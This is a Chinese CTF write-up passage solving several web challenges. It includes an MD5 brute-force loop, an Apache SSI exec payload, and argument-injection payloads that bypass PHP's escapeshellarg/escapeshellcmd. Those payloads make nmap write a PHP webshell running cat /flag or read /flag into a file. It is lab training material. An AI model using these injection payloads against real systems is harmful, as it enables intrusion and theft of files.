import hashlibfor i in range(1000000000):md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()if md5[0:6] == '6d0bc1':print(str(i)+' | '+md5)
随便拿一个去登录都行
然后就是涉及到知识盲区了,经学习
这里的考点是Apache SSI 远程命令执行漏洞
这种漏洞比较典型的特征就是在网站目录中发现了.stm .shtm .shtml
或是在界面中发现类似与这样的代码
<div>{$what}</div>
<p>Welcome, {{username}}</p>
<div>{%$a%}</div>
基本可以实锤SSI
paylaod:<!--#exec cmd="ls" -->
接着就命令执行即可
[BUUCTF 2018]Online Tool
<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}if(!isset($_GET['host'])) {highlight_file(__FILE__);
} else {$host = $_GET['host'];$host = escapeshellarg($host);$host = escapeshellcmd($host);$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);echo 'you are in sandbox '.$sandbox;@mkdir($sandbox);chdir($sandbox);echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
这里创建了一个文件沙盒,沙盒路径由自己IP决定
这里有两个函数escapeshellarg和escapeshellcmd
escapeshellarg:
(PHP 4 >= 4.0.3, PHP 5, PHP 7)
把字符串转码为可以在 shell 命令里使用的参数
string escapeshellarg ( string $arg )
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符
概述:
1.确保用户只传递一个参数给命令
2.用户不能指定更多的参数一个
3.用户不能执行不同的命令
escapeshellcmd:
(PHP 4, PHP 5, PHP 7)
shell 元字符转义
string escapeshellcmd ( string $command )
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者执行操作符之前进行转义;反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A 和 \xFF;'和"仅在不配对的时候被转义;在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替
概述:
1.确保用户只执行一个命令
2.用户可以指定不限数量的参数
3.用户不能执行不同的命令
简单来说,escapeshellarg函数用来转义单引号,escapeshellcmd函数用来插入\或者转义不配对的引号,我们可以大胆构思,利用escapeshellarg函数转义单引号,使其不配对,再利用escapeshellcmd函数转移不配对的单引号
理论形成,开始实践
在此之前,我们需要知道nmap有一个参数-oG
可以实现将命令和结果写到文件,所以我们可以控制自己的输入写入文件
system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
由于这条命令以nmap开头,我们可以把命令执行的语句接在后面
'<?php echo `cat /flag`;?> -oG test.php '
这个payload会变成
''\\''<?php echo `cat /flag`;?> -oG test.php '\\'''
''\\''\<\?php echo \`cat /flag\`\;?\> -oG test.php '\\'''
这样拼接上去就是
nmap -T5 -sT -Pn --host-timeout 2 -F
\<?php echo `cat /flag`;?> -oG test.php \
此题存疑:'<?php echo `cat /flag`;?> -oG test.php '这个paylaod
最后面有个空格,不知道为什么删了就不能用了,而且
nmap -T5 -sT -Pn --host-timeout 2 -F \<?php echo `cat /flag`;?> -oG test.php \
这个有卵用啊?我都不知道这样构造是搞啥
虽然拿到了flag,记住呗
我宣布,上面的方法是唇笔方法,不仅复现一脸蒙,摸不着头脑,甚至不知道flag是怎么得到的
现在给出另一种解法
原理还是一样,只是换了个nmap参数
-iL参数读取flag到一个文件中,我们再访问生成的文件就可以了
127.0.0.1' -iL /flag -o flag
这个经过两个函数后会变成
'127.0.0.1'\\'' -iL /flag -o flag\'
即
127.0.0.1\ -iL /flag -o flag'
这样就会把读取到/flag文件放进flag'里,直接进沙盒访问即可
[网鼎杯 2020 朱雀组]Nmap
是个扫端口的
扫127.0.0.1发现开启80端口,关闭99端口
然后查看源码发现有个提示flag is in /flag
与[BUUCTF 2018]Online Tool一样的考点
甚至同样的paylaod
127.0.0.1' -iL /flag -o flag